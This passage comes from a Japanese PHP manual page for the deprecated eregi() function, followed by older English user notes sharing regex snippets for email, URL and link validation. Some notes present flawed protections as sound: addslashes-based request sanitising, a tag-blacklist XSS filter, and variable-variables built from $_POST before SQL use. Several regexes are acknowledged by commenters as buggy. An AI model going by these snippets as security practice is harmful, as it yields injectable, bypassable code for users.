<? $_POST['email'] = str_replace("[at]", "@", strtolower($_POST['email'])); ?>

Not similar to Carlos' code though, since it'll convert all characters to lowercase.
bluedragonx at gmail dot com 16-Oct-2005 04:42
Actually that wouldn't work because str_replace is case sensitive.  So any instances of [AT] [aT] or [At] would be ignored.
php dot net at nr78 dot net 08-Aug-2005 05:36
@carlos at braziland dot com: Hate to be a wisecrack, but i believe the following code might be slightly faster with the same result:

<?php

$_POST['email'] = str_replace("@", "[at]", $_POST['email']);

?>
carlos at braziland dot com 31-Jul-2005 12:54
So here is my answer to those who are trying to submit headers through my simple contact form:

$any_form_field = eregi_replace("@","[at]",$_POST['just_one_field']); //how can anyone send emails to other email addresses without the @ symbol :)

My suggestion is to do a foreach loop in the $_POST array and remove the @ symbol from all fields (unless you want one of the fields to have the @ symbol, in which case it should be very careful and question if the symbol is necessary).

Not the best solution, but it's simple and it works.
joltmans at amersel dot com 01-Mar-2005 11:06
PHP's Regex engine differs from several others in its treatment of parsing spaces.

In many Regex languages '\s' denotes a space.
PHP does not recognize '\s', just type a space ' ' instead.

This simple example illustrates the problem:
<?php
    $string = "A sentence with   spaces";
    if (eregi("with\s*spaces", $string))
    {
        // Will never print
        echo "PHP understood \s";
    }
    else
    {
        // Will always print
        echo "PHP doesn't understand \s";
    }
?>

This example does work:
<?php
    $string = "A sentence with   spaces";
    if (eregi("with *spaces", $string))
    {
        // Will print
        echo "PHP understood ' '";
    }
?>
27-Jan-2005 08:15
never mind my last post for the eregi_replace not replacing.

I just used str_replace instead and it works fine.  I must have had something wrong with my search string.  POSIX, Perl.. hmm.. yeah probably something there.

Mettedraq / Gene
Ausvald 19-Jun-2004 04:21
Zach Johnson missed up. ereg* funcs use posix regex, not the rfc one
furiousgreencloud at yahoo dot com 17-Jun-2004 08:47
To simply convert wild input into a sensable sting, say for a filename I use:

function cleanString($wild) {
    return ereg_replace("[^[:alnum:]+]","",$wild);
}

echo cleanString("@#$&*$@#H~e'{}l{}l<o\{}"); // outputs: Hello
e dot boeters at planet dot nl 03-Jun-2004 04:46
This is a 'faster' way to highlight search results:

$content = str_replace($query, "<span class=\"highlight\">" . $query . "</span>", $content);
julien at ratatouille dot com dot fr 24-Nov-2003 06:28
This function replace < and > symbols between <code> and </code> tags by html code for lower than (&lt;) and greather than (&gt;) elements.

function retourne_format_code($texte)
{
    $tablo=split("<code>",$texte);
    $texte="";
    $texte.=$tablo[0];
    foreach($tablo as $cle=>$valeur)
    {
        if(eregi("</code>",$valeur))
        {
            $tablo1=split("</code>",$valeur);
            $tablo1[0]=eregi_replace("<","&lt;",$tablo1[0]);
            $tablo1[0]=eregi_replace(">","&gt;",$tablo1[0]);
            foreach($tablo1 as $cle1=>$valeur1)
            {
                if($cle1==0)
                    $valeur1="<code>".$valeur1."</code>";
                $texte.=$valeur1;
            }
        }
    }
    return $texte;
}
martin_goldmann at gmx dot net 18-Nov-2003 12:43
After reading the last message I wrote that de-spamizer:

function despamMailURI($myStrMail='')
{
    ?>javascript:void(location.href='mailto:'+<?=eregi_replace( "^([_\.0-9a-z-]+)@([0-9a-z][0-9a-z-]+)\.([a-z]{2,6})$", "'\\1'+'@'+'\\2'+'.'+'\\3'",$myStrMail)?>)<?
}

Usage example:
<a href="<?=despamMailURI("user@foo.bar")?>">Mail me</a>
iparanoid at gmx dot de 23-Aug-2003 09:03
To obtain the an email addresse in the scheme user at host dot use following function

function antispam_mail($mail) {
    return eregi_replace( "^([_\.0-9a-z-]+)@([0-9a-z][0-9a-z-]+)\.([a-z]{2,6})$", '\\1 at \\2 dot \\3',$mail );
};

Combined with a wee JavaScript (document.location='mailto:'+user+'@'+host+'.'+tld) this provides a very powerfull anti-spam mechanism while providing full mailto: link functionality.
chpins-php at romu92 dot freesurf dot fr 02-Jun-2003 04:15
/*new function for href2text : */

function AHREF2text($string) {
 return eregi_replace('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>].*>([^<]*)</a>)','[\\3] (link: \\2)', $string);
}

// by Ch'Pins
buddy at directpay dot cz 14-May-2003 10:22
i had to solve problem conserning DB2 timestamp format. here is how to parse ANSI timestamp format to DB2 timestamp format:

$mydate = Date("Y-m-d H:i:s");

$var = eregi_replace
("([0-9]{4}-[0-9]{2}-[0-9]{2}) ([0-9]{2}):([0-9]{2}):([0-9]{2})"
,"\\1-\\2.\\3.\\4",$mydate);

echo "ANSI: $mydate, DB2 format: $var";

happy codding
buddy
eder at xce dot de 03-May-2003 07:23
/*As php at silisoftware dot com's example works only if there is not more than one link in $string, I rewrote his expression to function with strings containing multiple links: */

function AHREF2text($string) {
  return eregi_replace('(<a [^<]*href=["|\']?([^ "\']*)["|\']?[^>]*>([^<]*)</a>)','[\\3] (link: \\2)', $string);
}
Rainmaker526 at hotmail.com 09-Mar-2003 07:02
I have found that some characters cannot be used by eregi_replace (or ereg_replace). When you get the REG_BADRPT error, try backslashing any special chars in your pattern string

ex.
$str = eregi_replace("*", "", $somevar)

gives the REG_BADRPT error. Change it to
$str = eregi_replace("\*", "", $somevar)

to make it work
php at silisoftware dot com 18-Feb-2003 11:08
Transform HTML links into plain-text "links" with the URL visible

function AHREF2text($string) {
    return eregi_replace('<A .*HREF=("|\')?([^ "\']*)("|\')?.*>([^<]*)</A>', '[\\4] (link: \\2)', $string);
}

$HTMLstring = 'A link to <a href="http://www.php.net">PHP.net</A>';
echo AHREF2text($HTMLstring);
// prints:  A link to [PHP.net] (link: http://www.php.net)
simon_a99 at yahoo dot co dot uk 27-Aug-2002 12:07
To find a string regardless of case, you might want to use the matched string in the replacement string without changing its case.

For example, you're searching for $search = "letter" and the text being searched is $text = "post lEtTeR".  I want to change the format of the matched string.

Do this:
eregi_replace($search, "<b>\\0</b>", $text);

$text has now been changed to "post <b>lEtTeR</b>".  \\0 is the entire text matched (lEtTer in this case).


大文字小文字を区別せずに正規表現によるマッチングを行う

  • ≪ eregi_replace
  • split ≫
  • PHP Manual
  • POSIX 正規表現関数
  • 大文字小文字を区別せずに正規表現によるマッチングを行う

eregi

(PHP 4, PHP 5)

eregi — 大文字小文字を区別せずに正規表現によるマッチングを行う

警告

この関数は PHP 5.3.0 で 非推奨 となり、 PHP 7.0.0 で 削除 されました。

この関数の代替として、これらが使えます。

  • preg_match() (i (PCRE_CASELESS) 修飾子を使う)

説明

eregi ( string $pattern , string $string , array &$regs = ? ) : int

この関数は、アルファベット文字をマッチングさせる際に 大文字小文字の区別をしないこと以外は ereg() と同じです。

パラメータ

pattern

大文字小文字を区別しない正規表現。

string

入力文字列。

regs

pattern の括弧でくくられた部分文字列に マッチし、かつこの関数が 3 番目の引数 regs を 指定してコールされた場合、マッチした部分が配列 regs に格納されます。

$regs[1] は最初の左括弧が始まる部分文字列を保持、 $regs[2] は二番目の左括弧が始まる部分文字列を保持、 といったようになっています。$regs[0] は マッチした文字列全体のコピーを保持しています。

返り値

string の中で pattern がマッチした場合にはマッチした文字列の長さを返し、マッチしなかった場合 またはエラーとなった場合は false を返します。

オプションのパラメータ regs が渡されなかったり マッチした文字列の長さが 0 だったりした場合は、この関数は 1 を返します。

例

例1 eregi() の例

<?php
$string = 'XYZ';
if (eregi('z', $string)) {
    echo "'$string' は、'z' または 'Z' を含んでいます!";
}
?>

参考

  • ereg() - 正規表現によるマッチングを行う
  • ereg_replace() - 正規表現による置換を行う
  • eregi_replace() - 大文字小文字を区別せずに正規表現による置換を行う
  • preg_match() - 正規表現によるマッチングを行う
  • stripos() - 大文字小文字を区別せずに文字列が最初に現れる位置を探す
  • stristr() - 大文字小文字を区別しない strstr
  • quotemeta() - メタ文字をクォートする

User Contributed Notes

julia_kean25 at yahoo dot com 10-Feb-2009 02:15
I use this in my app_config.php file to sanitize each request:

<?php
// app_config.php

    /**
    *    SANITIZE REQUEST
    */

    function sanitize_request($methods, $array)
    {
        // methods: trim ; addslashes ; stripslashes ; etc...
        // array : $_GET ; $_POST ; etc...

        foreach ($methods as $function) {
            $array = array_map($function, $array);
        }
        return $array;
    }

    if ( ! get_magic_quotes_gpc() )
    {
        $methods = array('trim', 'addslashes');
        $_GET = sanitize_request($methods, $_GET);
        $_POST = sanitize_request($methods, $_POST);
        $_COOKIE = sanitize_request($methods, $_COOKIE);
        $_REQUEST = sanitize_request($methods, $_REQUEST);
    }
?>

it currently only trims and adds slashes to the request but it would be nice to have the possibility to add the striptags function too.
jrgpmaster at gmail dot com 13-Sep-2008 01:04
Here is a simple way of checking if the visitor if your page is a search engine or a normal person. It does this by checking if the user agent returned by $_SERVER['HTTP_USER_AGENT'] contains one of the keywords search engine's user agents usually contain.

<?php

    //check if user is a bot of some sort
function is_bot()
{
    $bots = array('google','yahoo','msn');
    //takes the list above and returns (google)|(yahoo)|(msn)
    $regex = '('.implode($bots, ')|(').')';
    /*uses the generated regex above to see if those keywords are contained in the user agent variable*/
    return eregi($regex, $_SERVER['HTTP_USER_AGENT']);
}

?>
sumit270 at gmail dot com 12-Jun-2008 09:45
Prevent XXS attack

<?php
// Prevent any possible XSS attacks via $_GET.
foreach ($_GET as $check_url) {
    if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) ||
        (eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("\([^>]*\"?[^)]*\)", $check_url)) ||
        (eregi("\"", $check_url))) {
    die ();
    }
}
unset($check_url);
?>
ted devito 02-May-2008 04:29
RE: validate a url
--------------------
based on "ian at hyperborea dot co dot uk" below...
original date: 10-Nov-2004 03:15

I added a test for http(s?) and ftp as well as a trailing slash on urls that don't specify a page.

now it allows...
http://test.com/
https://www.test.com

$domain = "(http(s?):\/\/|ftp:\/\/)*([[:alpha:]][-[:alnum:]]*[[:alnum:]])
    (\.[[:alpha:]][-[:alnum:]]*[[:alpha:]])+";
$dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]])*";
$trailingslash  = "(\/?)";
$page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
$getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)
    (&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+))*)?";
$pattern = "^".$domain.$dir.$trailingslash.$page.$getstring."$";
shwetank dot sharma86 at gmail dot com 07-Dec-2007 05:13
we define some notficatio for making the Expression for eregi(exp, string)

so first of all syntax
   [ ]  this brakit  used to define chracters
   eg  [a-z], [0-9]
  { } this brakit used ti define range
  eg  {1,3}
if you wanna to make a expresion which take which take maximum
three digit no
        "^[0-9]{1,3}$"

and if make exp for only three digit no than

       "^[0-9]{3}$"

ok if any problem mail me
c00lways at gmail dot com 10-Mar-2007 06:10
hodsfords:

i love your expression,
and i've came out with a solutions which does not need to set the number of times {1,3} for the domain.
it can accept unlimited number of times, but @ least 1 time .com / .xxx

$exp = "^[a-z0-9]+[a-z0-9\?\.\+-_]*" .
@[a-z0-9_-]+(\.[a-z0-9_-]+)*\.[a-z]+$";
benjohnson{-at-}maine{-dot-}rr{-dot-}com 11-Sep-2006 02:33
It's probably worth noting that eregi() (and most likely, the related variations) appears to have a 255-character limit with respect to the length of the input it will attempt to parse.

If you try to do something like

if (!eregi("^[a-zA-Z0-9]{0,256}$", $text)) { ...

eregi() will return FALSE, irrespective of whether or not the input matches the pattern.
markus dot sipila at no dot spam dot iki dot fi dot invalid 02-Aug-2006 02:29
One more comment about email validation and usability of validators.

The fact that RFC 2822 allows broader set of characters in email addresses than typically used makes things quite challenging usability wise.

A very common usability problem with email validators is that they do not accept all valid addresses (such as foo{bar}.baz!@example.com. Almost as  common problem is that the validator only checks that the syntax is valid and passes addresses like foo#@example.com without any warning. Even though foo#@example.com is syntactically valid it might just as well be a typo of foo@example.com.

I resolved this usability challenge by doing the validation in two phases. In the first phase the address is validated so that it can't include exotic characters like { or |. Most addresses pass this validation.

If they don't, they are validated with the other validator that allows all RFC-compliant addresses. In this case the validator shows a message that the address is syntactically valid but it recommends to double check it for typos.

An example without regexps:
<?php
if (eregi($normal, $email)) {
  echo("The address $email is valid and looks normal.");
}

else if (eregi($validButRare, $email)) {
  echo("The address $email looks a bit strange but it is syntactically valid. You might want to check it for typos.");
}

else {
  echo("The address $email is not valid.");
}
?>

The full article with the regexps and demo can be found at http://www.iki.fi/markus.sipila/pub/emailvalidator.php
tim at rocketry dot org 29-Apr-2006 09:32
The easiest way I've found to validate a properly formed email address is this:

if(!eregi("^[[:alnum:]][a-z0-9_.-]*@[a-z0-9.-]+\.[a-z]{2,4}$", $_POST['EmailAddress'])) {
     echo "<p>Not a valid email address</p>\n";
}

It basically just wants to see some alphanumeric characters + an @ sign + a . + 2 to 4 alpha characters. So far it has done what I need for quite a while now.. Hope that helps someone. :)

Tim
info at stenschke dot com 03-Feb-2006 04:39
i needed a function to find hyperlinks containing a url as text of the hyperlink, exceeding a given maximum length.
here my function to finds too long hyperlinks and insert <br />s where needed into the linktext:

    function breakTooLongLinks($text,$maxLen) {
        //find hyperlinks that contain too many chars & insert <br>s where neccessary
        $pattern= '[>]www[.].*/*(.doc|.pdf|.htm|.html|.shtml|.php|.asp)(</a>|</A>)';
        $match= eregi($pattern, $text, $regs);
        if ($match) {
            foreach ($regs as $link) {
                if (strlen($link)>$maxLen) {
                    $linkParts= explode('/',$link);
                    $linkRepl= array(); $replI=0; $curLinkPart='';
                    foreach($linkParts as $linkPart) {
                        $curLinkPart.= $linkPart.'/';
                        if (strlen($curLinkPart)>$maxLen) {
                            $linkRepl[]= $curLinkPart;
                            $curLinkPart='';
                        }
                    }
                    $linkRepl= implode('<br />',$linkRepl);
                    $text= str_replace($link, $linkRepl, $text);
                }
            }
        }
        return $text;
    }
Jason Smart knarlin at yahoo dot com dot au 14-Oct-2005 10:28
There seems to be a lot of confusion about escaping special characters within a bracket expression enclosed in []

The reference is the regex man page at http://www.tin.org/bin/man.cgi?section=7&topic=regex , Linked from the "Regular Expression Functions (POSIX Extended)" page in the PHP manual at http://php.planetmirror.com/manual/en/ref.regex.php

The simple rule is there should be no backslash `\' in a bracket expression unless you are matching it literally.
ALL special characters (the few exceptions are listed below), lose their special significance in a bracket expression.
This includes .[$()|*+?{\ all of which have special meaning outside of a bracket expression, inside they will match LITERALLY!

The backslash character can never escape anything in a bracket expression including itself! It is always interpreted literally.

Here are the exceptions

^ at the start of the bracket expression will match on all but the set of characters within the bracket expression

- (hyphen) Indicates range, so [a-z] will match a single character in the range a-z (case insensitive for eregi).
  To match a literal `-' it must be at the start or end of the bracket expression or the end of a range, or enclosed in [. .] to be the start of a range.
  Examples:
  [0-9-]
  [-0-9]
  Both the above will match a single character from the set comprising the digits and hyphen `-'

  [!--] is the same as [!"#$%&'()*+,-]
  i.e. it matches a single character from the range of characters from `!' to hyphen `-'

  [[.-.]-9] is the same as [-./0123456789] or [./0123456789-]
  and will match a single digit from the range of characters from hyphen `-' to digit 9

] The closing bracket indicates the end of a bracket expression but not if it immediately follows the opening bracket `[' or `[^' in that case the closing bracket is matched literally.
  Examples:
  [][0-9] is the same as []0-9[]
  and matches a single character from the set of digits and a literal closing bracket `]' and opening bracket `]'

  [^][0-9] is the same as [^]0-9[]
  and matches a single character from the group of all characters except the set of digits and literal `]' or `['

Look at the regex man page for more on the above and the following special cases

[.characters.]
  A collating element
[=characters=]
  An equivalence class
[:alnum:]
  A character class

That's it for special cases! ALL other characters match literally within a bracket expression and can never be escaped with `\'

Here is a list of some of the postings here that have mistakenly tried to use special characters within a bracket expression.
28-Jan-2002 12:56, 09-Feb-2002 06:28, 24-Sep-2002 01:21, 08-Mar-2003 02:21, 11-Apr-2003 03:22 (uses `|' as if it was `or' it is not, it is a literal `|'), 27-Jun-2003 04:03, 06-Sep-2003 07:17, 20-Apr-2004 04:55, 24-Nov-2004 09:12, 25-Nov-2004 02:11, 06-Jan-2005 08:54, 24-Feb-2005 06:05

It seems people are copying each others mistakes so this needs to be cleared up. Most of the mistakes attempt to escape special characters within a bracket expression with backslash. That never works! A simple fix is to simply remove any backslashes within the bracket expression that are not meant to be matched literally.

The attempt to use | as 'or' within a bracketed expression should be put in parentheses instead.

I used a simple script attached to a form to test these results. Here's the script.
<?php
  if(isset($_POST['pattern']) && isset($_POST['teststring'])) {
    $pattern = stripslashes($_POST['pattern']);
    $teststring = stripslashes($_POST['teststring']);
    $match = ereg($pattern, $teststring, $regs);
    if(!$match) $match = 0;
    echo('<p>The regular expression is: '.$pattern.'</p>');
    echo('<p>The string for testing is: '.$teststring.'</p>');
    echo('<p>The number of matching characters is: '.$match.'</p>');
  }
?>
Just use a form with input fields named "pattern" and "teststring"

Hope this helps and clears up some misconceptions
Jason Smart
Monash University Student
somebody at somewhere dot com 09-May-2005 09:35
Say you want to validate a random sized string (at least one character though), and make sure it DOESN't contains anything BUT these characters: [:space:]a-zA-Z0-9_.-

function valid_name($name)
{

   // return FALSE if it contains characters which
   // which ARNT on the specified list
   if(ereg('[^[:space:]a-zA-Z0-9_.-]{1,}', $name))
   {
      return false;
   }
   else
   {
      return true;
   }

}
bobocop at bobocop dot cz 02-May-2005 08:09
<?php
// Completely update for match RFC 2822 and RFC 1035
// http://www.faqs.org/rfcs/rfc2822.html
// http://www.faqs.org/rfcs/rfc1035.html

// Example results:

$email[] = 'foo@example.com';                      // matched
$email[] = 'foo.bar@example.co.uk';                // matched
$email[] = 'foo_bar@example.com';                  // matched
$email[] = '_foo_bar@example.com';                 // matched
$email[] = 'foo@example.example';                  // matched
$email[] = '%#a+f.*&654_-._@ee.xx';                // matched
$email[] = 'foo@abc-123.xx';                       // matched
$email[] = 'a@a.a.a.a.aa';                         // matched
$email[] = 'a@a9.aa';                              // matched
$email[] = 'a!b#c$d%e^f&g*h\'i+j-k{l|m}n_/@op.qr'; //matched

$email[] = '';                                     //separator

$email[] = 'foo@-example.com';                     // not matched
$email[] = 'foo@example-.com';                     // not matched
$email[] = '%#af.*&@a%#b.xx';                      // not matched
$email[] = 'a@a.99.00.a.aa';                       // not matched
$email[] = '_-._@-.--';                            // not matched
$email[] = 'any..thing@bla.bla';                   // not matched
$email[] = '@.';                                   // not matched
$email[] = '@.com';                                // not matched
$email[] = '@exam@exam.com';                       // not matched
$email[] = ' @ .com';                              // not matched
$email[] = '.bar@example.com';                     // not matched
$email[] = 'foo.@example.com';                     // not matched
$email[] = 'foo@example.x';                        // not matched

$atom = '[-a-z0-9!#$%&\'*+/=?^_`{|}~]';    // allowed characters for part before "at" character
$domain = '([a-z]([-a-z0-9]*[a-z0-9]+)?)'; // allowed characters for part after "at" character

$regex = '^' . $atom . '+' .         // One or more atom characters.
'(\.' . $atom . '+)*'.               // Followed by zero or more dot separated sets of one or more atom characters.
'@'.                                 // Followed by an "at" character.
'(' . $domain . '{1,63}\.)+'.        // Followed by one or max 63 domain characters (dot separated).
$domain . '{2,63}'.                  // Must be followed by one set consisting a period of two
'$';                                 // or max 63 domain characters.

foreach ($email as $example) {
    if (strlen($example) == 0):
        echo '&nbsp;<br>';
    else:
      if (eregi($regex, $example)):
       echo $example . ' matched<br>';
      else:
       echo '<strong>'. $example . ' not matched</strong><br>';
      endif;
    endif;
}
?>
Sergio Santana: ssantana at tlaloc dot imta dot mx 01-Mar-2005 04:32
Sometimes we require checking the syntax of
floating point numbers. Here is a php-code that
performs this task.

// To call this program:
//   php floats.php
//--------------------------
// Example of the use of regular expressions for checking
// the syntax of floating point numbers.
<?php
// This opens standard in ready for interactive input..
$STDIN = fopen("php://stdin","r");

for(;;) { // FOREVER-LOOP
  echo "Float>";
  $s = trim(fgets($STDIN,256));
  if ($s) {
    $le =
      eregi(
       "-?(([0-9]+e-?[0-9]+)|((([0-9]+\.[0-9]*)|(\.[0-9]+))" .
       "(e-?[0-9]+)?))",
         $s, $regs);
    if ($le==strlen($s))
      echo "Yes it's float\n";
    else if ($le > 0)
      echo "$le chars of the string correspond to a float\n";
    else
      echo "No, it isn't float\n";
  }
  else
    break;
}

fclose($STDIN);

?>
krum at estnet dot bg 23-Feb-2005 12:05
I was searching for a fast way to check all fields of a form, so I can
include the $_POST information directly to the sql query. So I wrote
another script in my class in order to check the submitted data. So here it
is:
<?
function check_post () {
 foreach ($_POST as $key => $val) {
  $$key = $val;
 }
 $data = Array();
 $data["^[a-z0-9!@#$%^&*]"] = Array ("first_name", "last_name",
 "nick", "pass", "description", "user", "message", "event", "name", "title",
 "text");
 $data['^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+'
.'@'.'[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.'
.'[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$'] = Array("mail");
 $data["^[0-9]{1,4}"] = Array("day", "month", "owner", "type", "forum_id", "topic_id");
 foreach ($data as $key => $val) {
  foreach ($val as $k => $c) {
   if ( isset($$c) ) {
    if ( !eregi($key, $$c) ) {
     echo "You have used an not allowed character in " .$$c. " field\n";
     exit;
    }
   }
  }
 }
}
?>
I hope it will help someone ^_^
sven.heinicke.org 03-Feb-2005 11:49
The  gethostbyname($regs[2]) == $regs[2] is a bad idea.  Some domain names have a MX record but not an IP number.  The first example I found is jhu.edu domain:

sven@chef:~$ host jhu.edu
jhu.edu A record currently not present
sven@chef:~$ host -t mx jhu.edu
jhu.edu                 MX      10 smtp.johnshopkins.edu
ian at hyperborea dot co dot uk 10-Nov-2004 03:15
I was looking for something to validate a URL, and as usual turned to 'php.net' as it provides an invaluable source of information. I couldn't find exactly what I wanted so came up with something of my own which I hope will be of use to others.

<?php
function validateURL($URL) {
    $domain = "([[:alpha:]][-[:alnum:]]*[[:alnum:]])
(\.[[:alpha:]][-[:alnum:]]*[[:alpha:]])+";
    $dir = "(/[[:alpha:]][-[:alnum:]]*[[:alnum:]])*";
    $page = "(/[[:alpha:]][-[:alnum:]]*\.[[:alpha:]]{3,5})?";
    $getstring = "(\?([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+)
(&([[:alnum:]][-_%[:alnum:]]*=[-_%[:alnum:]]+))*)?";
    $pattern = "^".$domain.$dir.$page.$getstring."$";
    return eregi($pattern, $URL);
}
?>
Be sure to enter each pattern on a single line.

The function accepts a URL and validates the domain, directory path, page and any GET parameters. You can see I have split the patterns for validating each section for easier reading and maintaining.

Domain Name:
This can be made of of many parts each seperated by a '.' (dot). each part must start with an alpha char. followed by any alphanumeric chars., or '-'. With the exception of the first part each part must end in an alpha char..

e.g. www.google.co.uk and www9.g-88gle.co.uk are valid, but 9ww.google.3o.uk and www.google4.co.uk3 are not.

Directory Path:
Each directory must start with a '/' followed by an alpha char., then any alpha numeric char., or '-', and ending in an alphanumeric char.

e.g. /path1/to-page is valid, but /path1-/2-page is not.

Page:
This is like the directory path but it must end with a '.' (dot) followed by 3-5 alpha chars.

e.g. /phpinfo.php and /page.shtml are valid, but /phpinfo.php4 and /pageshtml are not.

Get String:
This follows the page and begins with a '?'. This is then followed by key/value pairs each seperated by an '&'.

e.g. ?key1=value1&key2=value2

Each key, or value must start and end with an alpahnumeric char. I have allowed for a '%' to be specified for URL encoded chars., and also '_' (underscore) is allowed.

Well thats it hope it is of some use. It is NOT perfect, for instance in the 'getstring' I would like to ensure that encoded characters (i.e. %20) consist of a % symbol followed by two characters with values '0-9A-F' but couldn't get anything I tried to work.
I would welcome any suggestions or improvements, there are bound to be some.

Note: The patterns are based on an earlier post by 'fusillo at NOSPAM dot netgang dot it' for matching domain names. Thanks to him.
gabriel at gabrielharrison co uk 01-Nov-2004 04:19
There is a bug in the regex that means it doesn't work with a domain suffex that has two parts eg: .co.uk
I'm not good enough with regexs to sort this - sorry.

There can also be a problem if the domain doesn't have a domain entry without the www. subdomain. To solve this modify the code with:

elseif( gethostbyname($regs[2]) == $regs[2] ||
gethostbyname('www' . $regs[2]) == 'www' . $regs[2])
kidproto at hotmail dot com 19-Apr-2004 11:55
"^[a-zA-Z0-9_\-]+(:?\.svg|\.wmf|\.zip|\.tar\.gz|\.tgz)$"

That is the proper file check for a well formatted beginning and ending filename for those select files. The one in this list is incorrect for at least php 4.3.0 which is what I'm using.

The (:?) makes sure that the parentheses aren't used for storing the matched regex.
fusillo at NOSPAM dot netgang dot it 03-Jan-2004 02:24
This is a simple function that uses eregi() function to validate a domain name (according to the RFC 1034).

function check_host($host) {
if (
   eregi("^[[:alpha:]]+([-[:digit:][:alpha:]]*
          [[:digit:][:alpha:]])*(\.[[:alpha:]]+
          ([-[:digit:][:alpha:]]*[[:digit:][:alpha:]])*)
          *$",$host)
  ) {
       return 1;
    } else return 0;
};

NOTE: This expression must be written on a single line to work
I had to brake it on separate lines to post on the site.

Returns 1 if $host is an RFC compliant domain name else returns 0.

This function is part of the code of blackboxed linux distribution coming on your screen late genuary.

-fusillo-
alexm(_A_T_)factory7.com 11-Dec-2003 12:30
A little interesting and hopefully on topic point I found while browsing the internet at: http://www.clemburg.com/x1713.html#AEN1717

According to RFC 822 (see http://www.rfc-editor.org/), email addresses
are case-sensitive in the part before the "@" sign, except for the
special address "POSTMASTER", which is not case-sensitive. The part
after the "@" sign is a host name, and is not case-sensitive.

Note that many organizations will implement an aliasing facility that
recognizes alternative forms for an email address (e.g., providing
"John.Doe@my.organization.com", "john.doe@my.organization.com",
"doe@my.organization.com", "Doe@my.organization.com" etc.). However,
this is not required by the standard as specified in RFC 822.

so you may want to keep that in mind....
i.e. breakup the username/alias (ereg) and domain (eregi) parts of the email
joseph dot ragsdale at xconduit dot com 06-Nov-2003 02:31
I'm posting this as a - hopefully - helpful example to those who are learning regular expressions. Apologies to the documentation team and moderators for posting yet another email address validation example, but it's hard to argue against it as most everyone will see regular expressions as being a solution to this problem.

<?php
// Example results:

$email[] = 'foo@example.com';       // matched
$email[] = 'foo.bar@example.co.uk'; // matched
$email[] = 'foo_bar@example.com';   // matched
$email[] = '_foo_bar@example.com';  // matched
$email[] = 'foo@example.example';   // matched
$email[] = '_-._@-.--';             // matched

$email[] = '@.';               // not matched
$email[] = '@.com';            // not matched
$email[] = ' @ .com';          // not matched
$email[] = '.bar@example.com'; // not matched
$email[] = 'foo.@example.com'; // not matched
$email[] = 'foo@example.x.y';  // not matched

$regex =
  '^'.
  '[_a-z0-9-]+'.        /* One or more underscore, alphanumeric,
                           or hyphen charactures. */
  '(\.[_a-z0-9-]+)*'.   /* Followed by zero or more sets consisting
                           of a period and one or more underscore,
                           alphanumeric, or hyphen charactures. */
  '@'.                  /* Followed by an "at" characture. */
  '[a-z0-9-]+'.         /* Followed by one or more alphanumeric
                           or hyphen charactures. */
  '(\.[a-z0-9-]{2,})+'. /* Followed by one or more sets consisting
                           of a period and two or more alphanumeric
                           or hyphen charactures. */
  '$';

foreach ($email as $example) {
  if (eregi($regex, $example)) {
    echo $example . ' matched<br>';
  } else {
    echo $example . ' not matched<br>';
  }
}
?>
banerian at u dot washington dot edu 16-Sep-2003 06:55
It should be noted that in the function validateEmail, the final verification relies on the mail server responding to the test $email with a reply code of 250.   Nowadays, many/most/all servers will reply 250/Ok for any  user@thier.domain regardless of whether or not the userid actually exists.  mail servers tend to accept the mail (if it passes other checks), and if the user really does not exist, it just "bounces" the mail back to sender.  thus the validateEmail function can give false positives...an unfortunate victim of having to deal with spam.
Hodfords 06-Sep-2003 02:17
Most of the Ereg functions for emails that I have seen do not
work for emails like :-

joe@something.co..uk

And emails such as
joe@something.co.uk+1234

This eregi which we put together, I think works, it should be just one line, but php.net did not let us submit, because it said that even after using wordwrap() the line was too long :-

$ereg_string =
"^[\'+\\./0-9A-Z^_\`a-z{|}~\-]+@
[a-zA-Z0-9_\-]+(\.[a-zA-Z0-9_\-]+){1,3}$";

Adjust the number "3" right at the end to whatever number
you want.

A long domain name such as "@finance.uk.yahoo.co.uk" which
has 5 parts will require the number to be higher.
steve at brainwashstudios dot com 10-Apr-2003 10:22
why not match some filenames?

if (!ereg("^[a-ZA-Z0-9]+[/.gif|/.jpg|/.png]$",$match){
 echo "Invalid Filename";
}else{
 if (file_exists($match)){
  echo "blah";
 }
}

I suppose that would work off the top of my head but I have yet to test it, so you may want to check it first.
keran at kiwi-interactive dot com 07-Mar-2003 08:21
I couldn't get any of the email validation items above to actually work (maybe I'm thick) :)

So I adapted a couple and came up with this, and it seems to work

// function to validate email
function validate_email($email_raw) {

    // replace any ' ' and \n in the email
    $email_nr = eregi_replace("\n", "", $email_raw);
    $email = eregi_replace(" +", "", $email_nr);

    // do the ergei to look for bad characters
  if( !eregi("^[a-z0-9]+([_\\.-][a-z0-9]+)*".
"@([a-z0-9]+([\.-][a-z0-9]+))*$",$email) ){
    // okay not a good email
    $feedback = "Error: $email isn't a valid mail address!";
    return $feedback;
    } else {
        // okay now check the domain
        // split the email at the @ and check what's left
        $item = explode("@", $email);
        $domain = $item["1"];
        if( gethostbyname($domain) == $domain) {
            $feedback = "Error: $domain isn't a valid domain!";
            return $feedback;
        } else {
            $feedback = "valid";
            return $feedback;
        }
    }

}
slavo at polovnictvo-mn dot sk 19-Feb-2003 05:30
This is what I found (by Jon S. Stevens jon@clearink.com with
Copyright 1998 Jon S. Stevens, Clear Ink)

function validateEmail ($email){
   global $SERVER_NAME;
   $return = array(false,  "" );
   list ($user, $domain) = split( "@", $email, 2);
   $arr = explode( ".", $domain);
   $count = count ($arr);
   $tld = $arr[$count - 2] .  "." . $arr[$count - 1];
   if(checkdnsrr($tld,  "MX")) {
      if(getmxrr($tld, $mxhosts, $weight)) {
         for($i = 0; $i < count($mxhosts); $i++){
